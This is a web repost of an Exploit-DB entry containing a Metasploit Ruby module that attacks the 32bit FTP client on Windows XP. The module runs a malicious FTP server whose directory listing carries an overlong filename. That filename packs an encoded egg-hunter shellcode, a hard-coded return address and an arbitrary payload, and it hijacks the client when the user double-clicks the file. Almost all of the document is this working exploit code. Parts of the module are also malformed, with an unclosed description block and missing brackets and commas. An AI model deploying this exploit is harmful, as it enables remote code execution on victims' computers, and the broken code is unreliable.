32bit FTP Client – Remote Stack Buffer Overflow (Metasploit)

Exploit Database
132 阅读

作者： Metasploit

日期： 2010-11-14
类别：
- remote
平台：
- windows_x86
来源：https://www.exploit-db.com/exploits/16743/

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# $Id: 32bitftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::FtpServer

def initialize(info = {})

super(update_info(info,

'Name' => '32bit FTP Client Stack Buffer Overflow ',

'Description'=> %q{

This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to

download a file that has an overly long filename.

'Author' =>

[

'fancy', # found the bug

'corelanc0d3r' # helped writing this module

'License'=> MSF_LICENSE,

'Version'=> "$Revision: 11039 $",

'References' =>

[

[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'BadChars' => "\x00\xff\x0a",

'Platform' => 'win',

'Targets'=>

[

[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED} ],#RETN 32bitftp.exe

'Privileged' => false,

'DisclosureDate' => 'Oct 12 2010',

'DefaultTarget'=> 0))

end

def setup

super

end

def on_client_unknown_command(c,cmd,arg)

c.put("200 OK\r\n")

end

def on_client_command_list(c,arg)

code = 150

c.put("#{code} OK.\r\n")

code = 226

c.put("#{code} Directory ok.\r\n")

conn = establish_data_connection(c)

if(not conn)

c.put("425 Can't build data connection\r\n")

return

end

print_status(" - Data connection set up")

filename ="\x02"#prevent crash

filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter

filename << " " * 77

#custom encoded egg hunter

filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"

filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"

filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"

filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"

filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"

filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"

filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"

filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"

filename << "\x4b\x4f\x4d\x37\x41\x41"

filename << " " * (target['Offset']-filename.length)

addr1 = "\x40\x60\x3A\x76"# RW imm32.dll

addr2 = "\x44\x54\x48\x00"# data section 32bitftp.exe

addr3 = [target.ret].pack('V') # b00m !

strfile = filename

strfile << addr3

strfile << addr2

strfile << addr1

strfile << "w00tw00t"

strfile << payload.encoded

print_status(" - Sending directory list via data connection")

dirlist = "-rw-rw-r--1 1176 1176 1060 Apr 23 23:17#{strfile}.bin\r\n\r\n"

conn.put(dirlist)

conn.close

print_status(" - LIST sent, wait for user to double click file...")

return

end